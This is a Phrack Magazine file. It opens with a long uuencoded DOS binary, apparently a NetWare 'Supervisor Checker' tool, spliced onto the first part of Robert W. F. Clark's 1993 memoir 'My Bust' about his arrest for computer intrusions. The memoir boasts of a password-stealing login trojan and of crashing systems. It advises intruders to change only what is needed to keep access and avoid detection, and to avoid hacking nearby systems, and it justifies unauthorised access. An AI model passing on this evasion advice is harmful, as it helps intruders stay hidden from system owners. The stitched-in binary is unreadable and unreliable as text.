=>8HYD!PXK$Z_=5B^R#[ 96N/@'B4;ZC%[\*_;K',1>^B;V1PJ#= X&4YIN M"A< @\0$0'0!1H‑&^@RA8 F+%F().4;Z=MB+QEZ+Y5W+D%6+[(/L#%:X! B) M1O:,7OB‑1@J)1OJ,5OP>_W;VFM0(%P"#Q 2+\/]V_/]V^O]V"/]V!O]V^/]V M]IK\"A< @\0,B4;T_W;X_W;V5IJ."1< @\0&BT;T7HOE7<N058OL@^P(5U;$ M7@@FBD<+F(E&^HO#+?@'F;D, /?YB\C1X /!T> %Z B)1O@F]D<*@W0')O9' M"D!T#L1>"": 3PH@N/__Z7 !)O9'"@%UZR: 3PH")H!G"N\KP":)1P2+\(EV M_";V1PH,= /IE@"+PRWX!YFY# #W^8O8T>,#V‑'C]H?H" %U?(%^" 0(=0>! M?@H4 G0.@7X($ AU6X%^"A0"=53_=OJ:X!H7 (/$ @O =5'_!O8!@7X(! AU M%(%^"A0"=0W$7@BX^ .Z% +K"Y"0Q%X(N/@%NA0")HE'!B:)5P@FB0<FB5<" MBU[XQT<" +&!P'K#9#_=@K_=@CHO0"#Q 3$7@@F]D<*"'4:B\,M^ >9N0P M]_F+V‑'C ]C1X_:'Z @!=&J+7@@FBS<F*W<&)HM'!B:+5PA )HD')HE7 HM^ M^(M% D@FB4<$"_9^%U92)O]W!O]V^IK0%1< @\0(B4;\ZQR0BU[Z]H>H 2!T M$;@" % KP%!04YI6%1< @\0(Q%X()L1?!HI&!B:(!^L9O@$ B\90C48&%E#_ M=OJ:T!47 (/$"(E&_#EV_'0#Z8?^BD8&*N1>7XOE7<M5B^R#[ 2+1@0M^ >9 MN0P ]_F+R‑'@ \'1X 7H"(E&_(Q>_K@ E":FQ<7 (/$ L1>!":)1P8FB5<( M"]!T$": 3PH(Q%[\)L=' @ "ZR#$7@0F@$\*!(M&_(M6_D FB4<&)HE7",1> M_";'1P(! ,1>!":+1P8FBU<()HD')HE7 B;'1P0 (OE7<‑5B^R#[ 96_P;V M 8%^!@0(=12!?@@4 G4‑QT;\^ /'1OX4 NL9D(%^!A (=36!?@@4 G4NQT;\ M^ 7'1OX4 L1>!B;V1PH,=1J+PRWX!YFY# #W^8O8T>,#V‑'C]H?H" %T!"O MZT^+1@8M^ >9N0P ]_F+R‑'@ \'1X 7H"(E&^L1>!HM&_(M6_B:)1P8FB5<( M)HD')HE7 HMV^K@ HE$ B:)1P2+WL8' 8M>!B: 3PH"N $ 7HOE7<M5B^R# M[ 2#?@8 =0/IB0"!?@@$"'4'@7X*% )T%(%^"! (= /IM "!?@H4 G0#Z:H MQ%X()HI'"YA0FN :%P"#Q (+P'4#Z9( BT8(+?@'F;D, /?YB\C1X /!T> % MZ B)1OR,7O[_=@K_=@B:;@H7 (/$!,1>_";&!P FQT<" #$7@@KP)DFB0<F MB5<")HE'!B:)5PCK0\1>"":!?P;X W4()H%_"!0"=! F@7\&^ 5U*":!?P@4 M G4@)HI'"YA0FN :%P"#Q (+P'0._W8*_W8(FFX*%P"#Q 2+Y5W+D%6+[(/L M!%8K]L1>!B:*1PHD SP"=5DF]D<*"'4:B\,M^ >9N0P ]_F+V‑'C ]C1X_:' MZ @!=#B+7@8FBP<F*T<&B4;\"\!^)U F_W<()O]W!B:*1PN84)K0%1< @\0( M.T;\= O$7@8F@$\*(+[__\1>!B:+1P8FBU<()HD')HE7 B;'1P0 (O&7HOE M7<M5B^RX"@":D@(7 +C2"J/,"HP>S@J+1@Z+5A"CN@J)%KP*BT8&BU8(HZ * MB1:B"L<&Q@H ,<&Q H .E! X!^]B5T ^FG L<&R H! "O HZH*HZ8*H\(* MHZ@*H\ *H[X*HZ0*HYX*H[@*QP8R#" Q%X*)H!_ 3!U2?]&"L<&,@PP .L^ MD(M>"B: /RMU#?\&J@K'!KX* #K*) F@#\@=0Z#/JH* '4:_P:^"NL4D/\& MG@KK#<1>"B: /RUUQ_\&N K_1@J+7@HFB@>84 [H2@F#Q (+P'7=_W8,_W8* MN‑ *'E .Z)((@\0(B48*B58,@S[0"@!]#/\&N JAT KWV*/0"L1>"B: /RYU

M+O\&P K_1@H&_W8*N,@*'E .Z%D(@\0(B48*B58,@S[("@!]"L<&R H! /\. MP K$7@HFB@>8/48 =#T]3@!T0#UH '0K/6P =0;'!J@* @"#/J@* '4)Q%X* M)H _3'4#_T8*Q%X*)H _ '4<Z10"D,<&J H! .O8QP:H"A Z]#'!J@*" #K MR":*!YB)1O@]10!T"CU' '0%/5@ =0C_!J8*@T;X((M&^"UC #T5 '8#Z1X! M \"3+O^G^@W$'KH*)L0?H<0*)HD'@P:Z"@3I30&0_P;""L<&G@H +@* % . MZ+X!@\0"Z30!N @ Z_"0_P:D"O\&I@J#/L * '4)QP;*"@$ ZP>0QP;*"@ M_P; "L<&R H$ (,^J H(=0/ID KP*.H"HE&^CD&T IT)Z'0"HE&^H,^N H M= G'!M * #K$I"#+M *!:'0"@O ?0(KP*/0"H,&N@H"N! 4 [H/@&#Q *X

M.@!0#NB)!(/$ H‑^^@!T(H,^N H =!6+1OHM!0"CT H+P'T"*\"CT KK!Y#' M!M * "#+KH*!+@0 % .Z/L @\0"@P:Z"@+K;9"X$ #I)_\KP% .Z%D"Z2+_ MN $ Z_.0_W;X#N@] ^D2_X,^J H = F+1@J+5@S_3@J+1@J+5@Q B4;\B5;^ MZU*0R@W>#‑ ‑T W0#=H‑W@S:#=H‑V@W:#<0,\@SX#‑H‑V@W #=H‑V@S:#=HMN@V#/L8* '05@S[$"@!U;L0>H HF]D<*('5>ZV&0_T8*ZS20_T;\Q%[\)HH' MB$;V"L!T!#PE=>R+PRM&"E#_=@S_=@H.Z$P$@\0&BT;\BU;^B48*B58,Q%X* M)HH'B$;V"L!T ^FO_(,^Q H =1#$'J *)O9'"B!T!;C__^L#H<0*B^5=RY!5 MB^R#[!)75H‑^!@IT!/\&P@J#/J@* G0'@SZH"A!U&,0>N@HFBP<FBU<"B4;\ MB5;^@P:Z"@3K*X,^P@H =!'$'KH*)HL'B4;\QT;^ #K#L0>N@HFBP>9B4;\ MB5;^@P:Z"@*#/IX* '0.BT;\"T;^= :+1@;K Y KP*,P#*',"HL6S@J)1O*) M5O2#/L(* '4Q@W[^ 'TK@WX&"G4=Q%[R_T;R)L8'+8M&_(M6_O?8@]( ]]J) M1OR)5O['1O8! .L&D,=&]@ N*P*B4;XC%[Z_W8&'E#_=O[_=OR:UAH7 (/$ M"H,^P H =#'_=OK_=OB:OAH7 (/$!(L.R HKR(E.\,1^\NL%)L8%,$>+P4D+ MP'_TB7[RC$;TB4[PBPZF"HQ>[L5V\L1>^":*!X@$"\ET!SQA? . +"!&_T;X M)H _ '7CB7;RC%[TCE[N@S[""@!U%*&J"@L&O@IT"X‑^]@!U!;@! .L"*\!0 M#N@7 X/$ EY?B^5=RU6+[(/L$%=6@WX& '08O@$ H;H*BQ:\"HE&^(E6^H,& MN@H"Z94 @SZH"@AT&<0>N@HFBP<FBU<"B4;XB5;Z@P:Z"@3K%I#$'KH*)HL' MB4;\B4;XC%[Z@P:Z"@*#/J@*"'0.BT;X"T;Z=16X9 GK"I"#?OP =0FX:PF) M1OB,7OJ+1OB+5OJ)1O*)5O0K]CDVP IT'(L.R KK#I#$7O+_1O(F@#\ =!5& M.\Y^$.OMD$;$7O+_1O(F@#\ =?.+/M **_Z#/K@* '4(5P[H7P&#Q )6_W;Z M_W;X#NB] 8/$!H,^N H = A7#NA" 8/$ EY?B^5=RY!5B^R#[ :AN@J+%KP* MB4;\B5;^@WX&9W0&@WX&1W4%L 'K Y JP(A&^H,^P H =0;'!L@*!@" ?OH M= V#/L@* '4&QP;("@$ _S:F"O\VR K_=@;_‑LX*_S;,"O]V_O]V_(X&P@DF M_QZ."8/$#H!^^@!T&X,^G@H =13_‑LX*_S;,"HX&P@DF_QZ2"8/$!(,^G@H M=!N#/L@* '44_S;."O\VS J.!L())O\>F@F#Q 2#!KH*",<&, P *&J"@L& MO@IT&_]V_O]V_(X&P@DF_QZ>"8/$! O = 6X 0#K BO 4 [H,P&+Y5W+D%6+ M[%:#/L8* '4]Q!Z@"B;_3P1X%8I&!B:+‑R;_!R:.1P(FB 0JY.L1D/\VH@I3 M_W8&FHP&%P"#Q 9 =0?_!L8*ZP60_P;$"EY=RY!5B^R#[ )75H,^Q@H =5>+ M=@8+]GY0ZQO_‑J(*_S:@"O\V,@R:C 87 (/$!D!U!/\&Q@J+QDX+P'X>Q!Z@ M"B;_3P1XU* R#":+/R;_!R:.1P(FB 4JY.O4@S[&"@!U!XM&!@$&Q I>7XOE M7<M5B^R#[ )75HMV"H,^Q@H =5[K(O\VH@K_‑J *Q%X&)HH'F%":C 87 (/$ M!D!U!/\&Q@K_1@:+QDX+P'0EQ!Z@"B;_3P1XS<1>!B:*!\0>H HFBS\F_P<F MCD<")H@%*N3KRH,^Q@H =0>+1@H!!L0*7E^+Y5W+58OL@^P,5J',"HL6S@J) M1O2)5O8KP(E&_(E&^H,^,@PP=1@Y!L *=!(Y!J0*= 8Y!LH*=0;'!C(,( "+ M‑M *_W;V_W;TFKX:%P"#Q 2)1O@K\"MV!H,^N H =2+$7O0F@#\M=1F#/C(, M,'42_T;T)HH'F% .Z%K^@\0"_T[X@SXR##!T"POV?@>#/K@* '0;@WX& '0' M_T;Z#NAI (,^, P = ?_1OP.Z', @SZX"@!U*58.Z&?^@\0"@WX& '0*@W[Z M '4$#N@\ (,^, P = J#?OP =00.Z$, _W;X_W;V_W;T#NBB_H/$!H,^N H M= ['!C(,( !6#N@A_H/$ EZ+Y5W+D(,^J@H = 6X*P#K [@@ % .Z+C]@\0" MR[@P % .Z*S]@\0"@SXP#!!U%X,^I@H = 6X6 #K [AX % .Z([]@\0"RU6+ M[(/L!E=6QT;^ 0#$7@HF@#\J=1+$'KH*)HLW@P:Z"@+_1@KK89#$7@HF@#\M M=0C'1O[___]&"BOVBUX*)HH'B$;Z/#!\0#PY?SPY‑L *=0H\,'4&QP8R## MB_OK!B: /3E_'":*!9B+SM'AT>$#SM'A \B#Z3"+\4<F@#TP?=Z)?@J,1@R+ M1O[W[HOPQ%X&)HDWBT8*BU8,7E^+Y5W+D%6+[(/L!%>X<@F)1OR,7OZ*3@;$ M?OSK 4<F@#T =!$F. UU]+@! (E^_(Q&_NL)D(E^_(Q&_BO 7XOE7<N058OL M@^P$BUX&.QZF 7(%N )ZRKW1@H @'1(@WX, '0:,\F+T;@!0LTA<DOW1@P" M '4. T8($U8*>2BX !;YZS:)5OZ)1OR+T;@"0LTA T8($U8*>0V+3OZ+5ORX M $+‑(>O8BU8(BTX*BD8,M$+‑(7(%@*>H ?WIV^]5B^R#[ B+7@8['J8!<@>X M GYZ<7O]H>H 2!T"[@"0C/)B]'‑(7+K]H>H 8!T?(Q>^HY&"L56"#/ B4;^ MB4;\_%=6B_J+\HEF^(M.#.‑>L KRKG51'HY>^IH:%Q< 'SVH '9+@^P"B]RZ M (]* )S [J "OBB]2+^A8'BTX,K#P*= P[^W09JN+TZ"8 ZV^P#3O[=0/H M&P"JL K_1OSKX^@0 .OB7E^.7OKK8^M0,\#I;>I04U$>!A^+SRO*XQ"+7@:T M0,TA<@X!1OX+P'0''UE;6(OZPQ^#Q AS!+0)ZR2.7O[VAZ@!0'0.CEX*BUX( M@#\:=0/XZPSYN <ZP:+1OXK1OR+9OA>7XY>^NG+[HM.# O)=06+P>F_[A[% M5@BT0,TA'@<?<P2T">O@"\!UW/:'J % = N+VB: /QIU _CKROFX !SKQ !9 M6J'< 3O$<P<KQ/?84E'+,\#K^56+[(M>!@O;= 2 3_X!B^5=RU6+[%97NW@) M@S\ =2D>![@% .A‑ G4%,\"9ZR1 )/ZC> FC>@F6QP0! (/&!,=$_O[_B39^ M"8M.!HS8CL#HXP!?7HOE7<M5B^S$7@:,P O#= 4F@$_^ 8OE7<M5B^R#[ )6 M5XM&!CWQ_W,>@SZ""0!U".@E '02HX()Z(L =17H& !T!>B! '4+_W8&FD 7 M%P"#Q )?7HOE7<N[\ Y7@9V!XM>!D.#X_Z)7OXSP!Y04(U/#E&P E":Q!D7 M (/$"(/Z_W1!B\*'%H0)HX8).P:*"78#HXH)"])T!8[:HP@ BU[^CM@SP*,( M $A(B4<,N H HP HP( C4<!HPH !0T HP8 C‑@?PXS8CL"+3@8SVXX>A@GH M"P +THS!CMG# .G. $%T^H#A_H/Y[G/RBW<"_*V+_J@!=$)(.\%S%8O0 _"M MJ %T‑ /"!0( B_>)1/[KYHO^= P#^8E,_BO!2(D%ZP4#^?Y,_HO&C‑J,T3O1 M= 4FC!Z&"8E_ L,FQ@:,"0(]_O]T)8O^ _"MJ %T\HO^2#O!<[V+T /PK:@! M=.(#P@4" (OWB43^Z^:+1P@+P'0$CMCK%";^#HP)=!&,V(S7.\=T!2:.'H() MBS?KO(MW!C/ Z&H .\9T#20!0$"8Z%X = W^3?[H' !T!99.3NN9C‑B,T3O! M= 0FHX8)BP>)1P(SP)G#48M%_J@!= ,KR$E!0;K_?R8[%H@)=@31ZG7UB\$# MQG(5 \)R#??2(\(KQN@, '4(]]+1ZG7E,\!9PU)1Z!T =!A7B_Z+\ /RQT3^ M_O^)=P:+UBO72HE5_EA96L‑34#/2'E)24+@! % &'YK$&1< @\0(@_K_'UI; M= (+TL, 58OL5E<&@WX* '4XORX!BU8(BT8&2'4'Z%, <B?K2(LV?@%(=!$[ M]W0‑BT0"B48.5N@Z %YS,(/&!('^?@%S! O2=0:X__^9ZQV+VH/##]';L0/3 MZ[1(S2%RZ9*)!(E4 HDV?@$SP =?7HOE7<N+3@Z+]SE, G0,@\8$@?Y^ 77R M^>L_B]H#''(YB]..P3OW=08Y'B@!<R:#PP_1V]'KT>O1ZSOW=0D#V:&? 2O8 MCL"T2LTA<@T[]W4$B18H 9*'!(O1PU6+[(O7B]X>Q78*B_Z,V([ ,\"Y___R MKO?1Q'X&B\>H 70"I$G1Z?.E$\GSI(OSB_H?C,)=RU6+[(O7Q'X&,\"Y___R MKO?129&+^EW+ %6+[%97LP#I' %5B^R+7@8['J8!?1&#^P!\#/:'J % = 6X M 0#K C/ B^5=RP!5B^R+1@@K1@P;T@/ $](#P!/2 \ 3T@/ $](#1@:#T@ K M1@J#V@"+Y5W*" 58OLBTX."\EU ^FU !Y75L5V"L1^!AY6!E>:!!L7 (M. M#@O2>%<KP8/: '‑020/Q<P>,V 4 $([8 _ES!XS !0 0CL!!B\%(*\<;VR/# M \<KQAO;(\,#QD"1*\']\Z3\D>‑<@_[_=0>,V"T $([8@___==&,P"T $([ MZ\B+P4B+U_?2*\(;VR/# \*+UO?2*\(;VR/# \) D2O!T>GSI1/)\Z21XQ@+ M]G4'C‑@% !".V O_=<>,P 4 $([ Z[Y>7Q^+1@:+5@A=RXM.#HM&!HM6"![% M?@I7'@?\DPK =!.#^0IU#@O2>0JP+:KWVX/2 /?:B_>2,](+P'0"]_&3]_&2 MA],$,#PY=@($)ZJ+P@O#=>*(!4^LA@6(1/^‑1 $[QW+RC‑I8'U]>B^5=RU6+ M[%<>5AZX[0&.V+@ >LTO//]T"!^P\+0 ZW.0B3X, (P&#@ ?L !5NQ !E6]

M[0&.Q2:#/@X '4(70>P\+0 ZQN]:@ .52;_‑@X )O\V# "+[(Y&"HMN",N# MQ 1=4,5V!HS8"\9T H@\Q78*C‑@+QG0"B!S%=@Z,V O&= *)#,5V$HS8"\9T M HD46+0 7A]?7<L 58OL_W84_W82_W80_W8._W8,_W8*_W8(_W8&N$$ 4)H& M /P!B^5=RU6+[/]V%/]V$O]V$/]V#O]V#/]V"O]V"/]V!KA" %":!@#\ 8OE M7<M5B^S_=A3_=A+_=A#_=@[_=@S_=@K_=@C_=@:X0P!0F@8 _ &+Y5W+

M %=6N !ZS2\\_W40+HD^# NC 8. + M #K!+#PM !>7\M5B^R#[$;&1OX6 MBD8&B$;_QT;\ @#'1KP^ (U&O!90C4;\%E"PXU":#@#Z 8/$"HE&N@O =7*+ M1A(+1A!T&/]VP/]VOIH* P"@\0$Q%X0)HD')HE7 HM&#@M&#'01_W;"F@T M#0*#Q +$7@PFB0>+1@H+1@AT$XU&Q!90_W8*_W8(FH@:%P"#Q B+1A8+1A1T M%+@' %"‑1O064/]V%O]V%)HR&Q< *\"+Y5W+58OL'E97BF8&Q78(Q'X,S2&T M %]>'UW+58OL@>R$ %:*1@:(1HC_=@R:#0 ‑ H/$ HE&B?]V"O]V")J^&A< M@\0$B89^__]V$/]V#IJ^&A< @\0$B4:$_W84_W82FKX:%P"#Q 2)1OZ*AG[_ MB$:+_[9^__]V"O]V"(U&C!90FC(;%P"#Q J*1H2+MG[_@\8&B$*&_W:$_W80 M_W8.C4*'%E":,AL7 (/$"O]V%IH‑ T"@\0"BW:$ [9^_X/&!XU:AHD'BD;^ M1D:(0H:‑1 &)1H+_=O[_=A3_=A*+\(U"AA90FC(;%P"#Q J+1OX#1H0#AG[_ M!0@ B4:&QT: "‑1H 64(U&AA90L.‑0F@X ^@&#Q J)AGS_7HOE7<M5B^R+ M7@B&WXM&!H;$B]"+PUW+58OLBT8&AL1=RP

M

M 4R!2=6XM5&EM92!,

M:6)R87)Y("T@0V]P>7)I9VAT("AC*2 Q.3@X+"!‑:6‑R;W‑O9G0@0V]R<!$ M"BTM+0 *4W5P97)V:7‑O<B!#:&5C:V5R(%8Q+C "BA#*2TQ.3DR(%9A;F1E M<F%A<G0@4')O9'5K=&EE<R!"5@ *+2TM I3=7!E<G9I<V]R($5Q=6EV86QE M;F‑Y($QO9V=E9"!);B!5<V5R<SH* %‑54$525DE33U( 4T5#55))5%E?15%5 M04Q3 " @(" M("5S"@ @(" @+2!.;V)O9'D* "TM+0!%<G)O<CH@3D546"!I M<R!N:65T(&=E;&%D96XN+BX* $5R<F]R.B!)4%@@:7,@;FEE="!G96QA9&5N

M+BXN"@ X0$ !0"

M

M "X!.T‑?1DE,15])3D9/ 4 (&!

M@0$! ,H!% )#

M /____] #0 %@("& T)# P,!P@6%O\2#1("_P

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M

M 4 @

M^ $4 @$ (! (" 0#

M ($

M

M

M

M 0 @

M

M W @4 BAN

M=6QL*0 H;G5L;"D *RT@(P @ (P"%P",

M A< C (7 (P"%P", A< $! #L!1< #P(/ @\" M#P(4 CP\3DU31SX^ !2‑C P, T*+2!S=&%C:R!O=F5R9FQO=PT* , 4C8P M,#,‑"BT@:6YT96=E<B!D:79I9&4@8GD@, T* D 4C8P,#D‑"BT@;F]T(&5N M;W5G:"!S<&%C92!F;W(@96YV:7)O;FUE;G0‑"@#\ T* /\ <G5N+71I;64@ M97)R;W(@ ( 4C8P,#(‑"BT@9FQO871I;F<@<&]I;G0@;F]T(&QO861E9 T* I $ 4C8P,#$‑"BT@;G5L;"!P;VEN=&5R(&%S<VEG;FUE;G0‑"@#___]E

end

My Bust (Part I)

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 12 of 27

My Bust

Or,

An Odyssey of Ignorance

(C) 1993 Robert W. F. Clark

[This is a factual account; however, certain innocent parties have already suffered enough damage to their reputations without further identification. I have changed their names. Where I have done so I follow the name with an asterisk [*].

I. _In flagrante delicto_

I am writing this article for the benefit of those who have yet to become acquainted with the brotherhood of law enforcement, a subculture as warped and depraved as any criminal organization.

The law enforcement community entered my life in the early part of December 1989. I am yet to be quit of it. My initial contact with law enforcement and its quaint customs was one afternoon as I was reading email. Suddenly, without warning, I heard a voice shout: "Freeze, and get away from the computer." Nonplussed, but still with some command of my faculties, I drawled: "So, which do you want me to do?"

The police officer did not answer.

I was in the main public academic computing facility at Penn State, which was occupied by several startled‑looking computer users, who now trained their eyes on the ensuing drama with all the solicitous concern of Romans attending an arena event.

The officer, Police Services Officer Anne Rego, then left the room, and my immediate concern was to kill all processes and

delete all incriminating files, or at least to arrange an accidental disruption of power. However, before I could do anything, Miss Rego reappeared with a grim, mustached police officer and what appeared to be the cast of Revenge of the Nerds.

Angela Thomas, computer science instructor, immediately commandeered both terminals I had been using and began transferring the contents of all directories to a safe machine; the newcomer, Police Services Officer Sam Ricciotti, volunteered the helpful information: "You're in big trouble, kid."

In an excess of hospitality, they then offered me a ride to Grange Building, police headquarters of Penn State, for an afternoon of conversation and bright lights.

I asked if I were under arrest, and finding that I was not, asked what would happen if I refused their generous offer. They said that it might have negative repercussions, and that the wise choice was to accompany them.

So, after a moment of thought, I agreed to accompany them. Forming a strange procession, with a police officer preceding me and another following, we entered an elevator. Then, still in formation, we exited the building to be greeted by two police cars with flashing red and blue lights. Like a chauffeur, Officer Ricciotti opened the door for me, and it was only after he closed it that I realized, for the first time, that the back doors of police cars have no handles on the inside.

I had made yet another mistake in a long series.

The purpose of this article is to detail several possible mistakes in dealing with police and how they may be avoided. As I made almost every possible mistake, my experience should prove enlightening.

While I hope that this article might prevent you from being busted, I will have been successful if even one person does not make the mistakes I made when I was busted.

II. Prelude

To provide the reader with context, I shall explain the series of events which culminated in my apprehension.

On my entrance to the Pennsylvania State University as a University Scholar, the highest distinction available from an institution remarkable for its lack of distinction, I received an account on PSUVM, an IBM 3090 running VM/CMS. Before receiving the account, I acquired all available documentation from the Information Desk and read it. As it happened, the first document I read concerned "Netnews," the local name for Usenet.

As soon as my account was activated, I immediately typed netnews. I have never been the same since. Within a week, I began posting articles of my own and was immediately lambasted, flamed and roasted to a crisp. Discovering my own talent in the area of malediction, I became an alt.flame and talk.bizarre regular. I also read comp.risks, comp.dcom.telecom and other technical journals assiduously.

I began hacking VM/CMS, independently discovering a vast

number of flaws in the system. Within a few months, I was able to access any information in the system which interested me, submit anonymous batch jobs, and circumvent the 'ration' utility which limited a luser's time on the system. It was a trivial matter to write a trojan horse which imitated the login screen and grabbed passwords. Late at night, when there were few users, I would crank the CPU, of

a system capable of handling 300 users simultaneously,

to 100% capacity just for the sake of doing it. I discovered a simple method of crashing the system, but felt no need to do it, as I knew that it would work. To avoid disk space rationing, I would store huge files in my virtual punch. To my credit, lest

I seem a selfish pig unconcerned with the welfare of

other users, I limited such exercises to the later hours of the night, and eliminated large files when they were no longer useful to me.

Like one starved, I glutted myself on information. To have legitimate access to such a system was marvellous. For a few months, I was satisfied with my level of 'power,' that elusive quality which is like a drug to those of a certain peculiarity of mind.

However, it was not long before I realized that despite the sheer power of the system, the user interface was clumsy,

unaesthetic and intolerable to anyone desiring to understand

the machine directly. The damn thing had a virtual punch

card system!

I had heard about Unix, and was interested in trying this system. However, without an affiliation with the Computer Science Department, I had no way to get Unix access.

Comparative Literature majors apparently should not clutter their heads with such useless and destructive nonsense as the Unix operating system, just as an Engineering major can only be damaged by such

mental clutter as the works of Shakespeare; this, in any case, seemed to be the only justification for such an arcane, Byzantine

policy of restricting access to a nearly unlimited resource.

The academic community is addicted to the unhealthy practice of restricting information, and its policies are dedicated to the end of turning agile, eager young minds into so many identical cogs in the social mill. Those unable or unwilling to become cogs are of no use to this machine, and are dispensable.

Thus, in the latter part of my freshman year, I became increasingly frustrated and disillusioned with higher education in general, and by the very idea of specialized education in particular. I stopped attending classes, and even skipped tests. I became increasingly nocturnal and increasingly obsessed with Usenet. Nevertheless, even by doing the entire semester's work during finals week, I still barely managed to maintain honors status.

The summer restored my spirits greatly. I experimented

with LSD for the first time, and found that it allowed me to see myself as I truly was, and to come to a certain grudging acceptance of myself, to a greater degree than any psychologist had. I found that I preferred marijuana to alcohol, and soon no longer subjected myself to prolonged bouts of drinking.

However, I mistook my upturn in spirits for a rejuvenation, when it was more likely due to the lack of pressure and hedonism

of summer.

Near the end of my first year, I met Dale Garrison [*], an electronic musician and audio man for WPSX‑TV, the university public television station. He also recorded music recitals

for faculty and visiting luminaries, and thus had access to

the Electronic Music Lab and all its facilities.

His friend Shamir Kamchatka [*] had bequeathed him a Unix

account on the mail hub of the Pennsylvania State University. Another friend, Ron Gere [*], a systems operator for the Engineering Computer Lab, had created an account for him on

the departmental VAXcluster following the termination of his legitimate account due to a change in policy. They gave the account the cover name of Huang Chang [*] as a sort of joke,

but this name was remarkably inconspicuous with the preponderance of Asian names on the system. Dale began posting articles under this name, as he had no account with his real name, but by a slow process, the nom‑de‑plume became a well‑developed and individual personality, and the poems, articles and diatribes written

under this name became quite popular. Even when we later realized the ease with which he could forge articles with his actual name, he was disinclined to do so. The wit and intelligence of the assumed identity became so unique to

that identity that it would have been difficult to shed.

I often used the Unix account, and quickly began to

understand and appreciate the complexity and organic unity

of the Internet.

I had no moral qualms about using a computer account with the permission of the legitimate owner of the account, any more than I would have moral qualms about checking out a book from the mathematics library. A source of information for which my tuition and taxes has paid is a source of information which I have every right to access. To deny my access is a crime greater by far than for me to claim my rights by nondestructive means. Any university will allow a student of any college to check out a book on any subject from the library.

However, myopic university administrations seem to believe that restricting access to information, rather than allowing a free exchange of ideas, is the purpose of an educational institution. Every department will have its own computer subnetwork, regardless of whether it is sensible or equitable to do so. The stagnation and redundancy we see on the Internet is the inevitable result of such an absurd _de facto_ standard.

This policy is by no means limited to computers. It extends to class scheduling, work‑study programs, any technical equipment worth using, arts training, religious studies, athletic facilities, degree requirements, musical instruments, literature and any thing which is useful to the mind. Bean‑counters who can neither read a line

of Baudelaire nor parse a line of C decide what is to be the canned curriculum for anyone who chooses a major. This is the obvious outcome in a society where education is so undervalued that Education majors have the lowest SAT scores of any degree‑level students.

So I thought as I saw resources wasted, minds distorted,

the lives of close friends ruined by the slow, inexorable grinding of the vast, impersonal machine known as higher education. I saw professors in computer science tell blatant falsehoods, professors in philosophy misquote Nietzsche, professors in English Literature hand out typewritten memos rife with grammatical errors.

I grew entirely disgusted with the mismanagement of higher education. When I discovered that the most intelligent and individual people around me were usually not students, I gave up on college as a means of self‑actualization.

My second year of college was essentially the first repeated, except that my frustration with the academic world bloomed into nihilism, and my depression into despair. I no longer even bothered to attend most tests, and even skipped finals. I allowed my paperwork for the University Scholars Program to lapse, rather than suffer

the indignity of ejection for poor academic performance.

Another summer followed, with less cheer than the previous. Very early in the summer, a moron rear‑ended my car without even slowing down before slamming into me. My mother and stepfather ejected me from their house, and I moved to Indiana to live with my father. When the insurance money arrived from my totalled car, I purchased a cheap vehicle and hit the highway with no particular destination in mind. With a lemming's logic, I turned east instead of west on I‑70, and returned to State College, Pennsylvania.

At the last moment, I registered for part‑time classes.

III. History of a Conflagration

>From the beginning of this semester, I neglected my classes, and instead read RFCs and Unix system security manuals. I began experimenting with the communications capabilities of the TCP/IP protocol suite, and began to understand more deeply how it was that such a network could exist as an organic whole greater than the sum of its parts.

In the interest of experimenting with these interconnections, I began to acquire a number of Internet 'guest' accounts. When possible, I would use these to expand my area of access, with the goal of testing the speed and reliability of the network; and, I freely admit, for my amusement.

I realized, at the time, that what I was doing was, legally, in

a gray area; but I did not give moral considerations more than

a passing thought. Later, I had leisure to ponder the moral and legal aspects of my actions at great length, but at the time I was collecting accounts I only considered the technical aspects of what I was doing.

I discovered Richard Stallman's accounts on a variety of computers. I used these only for testing mail and packet routing.

I realized that it would be trivial to use them for malicious purposes, but the thought of doing so did not occur to me. The very idea of hacking a computer system implies the desire to outsmart the security some unknown person had designed to prevent intrusion; to abuse a trust in this manner has all the appeal to a hacker that a hunter would find in stalking a kitten with a howitzer. To hack an open system requires no intelligence and little knowledge, and imparts no deeper knowledge than is available by legitimate use of the system.

I soon had a collection of accounts widely scattered around

the continent: at the University of Chicago, at the Pennsylvania State University, at Johns Hopkins, at Lawrence‑Berkeley Laboratories and a number of commercial and government sites.

However, the deadly mistake of hacking close to home was my downfall. I thought I was untouchable and infallible, and in a regrettable accident I destroyed the /etc/groups file at the Software Engineering Laboratory at Penn State, due to a serious lapse in judgment combined with a series of typographical errors. This is the only action for which I should have been held accountable; however, as you shall see, it is the only action for which I was not penalized in any way.

I halt the narrative here to deliver some advice suggested by my mistakes.

My first piece of advice is: avoid the destruction of information by not altering any information beyond that necessary to maintain

access and avoid detection. Try to protect yourself from typographical errors by backing up information. My lack of consideration in this important regard cost Professor Dhamir Mannai many hours reconstructing the groups file. Dhamir plays a major role in the ensuing fracas, and turned out very sympathetic. I must emphasize that the computer security people with whom we have such fun are often decent people. Treat a system you have invaded as you would wish someone to treat your system if they had done the same to you. Protect both the system and yourself. Damage to the system will have a significant effect on any criminal case which is filed against you. Even the harshest of judges is likely to respond to a criminal case with a bewildered dismissal if no damage is alleged. However, if there is any damage to a system, the police will most certainly allege that you maliciously damaged the machine. It is their job to do so.

My second piece of advice is: avoid hacking systems geographically local to you, even by piggybacking multiple connections across the country and back to mask your actions. In any area there is a limited number of people both capable of and motivated to hack.

When the local security gurus hear that a hacker is on the loose, they will immediately check their mental list of people who fit the profile. They are in an excellent position to monitor their own network. Expect them to do so.

I now return to my narrative.

Almost simultaneous with my activities, the Computer Emergency Response Team was formed in the wake of the Morris Worm, and was met with an almost palpable lack of computer crime worth prosecuting.

They began issuing grimly‑worded advisories about the ghastly horrors lurking about the Internet, and warned of such dangerous events as the WANK (Worms Against Nuclear Killers) worm, which displayed an anti‑nuclear message when a user logged on to an infected machine.

To read the newspaper article concerning Dale and me, a person who collects guest accounts is, if not Public Enemy Number One, at least a major felon who can only be thwarted by the combined efforts of a major university's police division, two computer science departments, and Air Force Intelligence, which directly funds CERT.

Matt Crawford, at the University of Chicago, notified CERT of my intrusions into their computer systems. The slow machinery

of justice began to creak laboriously into motion. As I had taken very few precautions, they found me within two weeks.

As it happens, both the Penn State and University of Chicago systems managers had publicly boasted about the impenetrability of their systems, and perhaps this contributed to their rancor at discovering that the nefarious computer criminal they had apprehended was a Comparative Literature major who had failed his only computer science course.

IV. In the Belly of the Beast

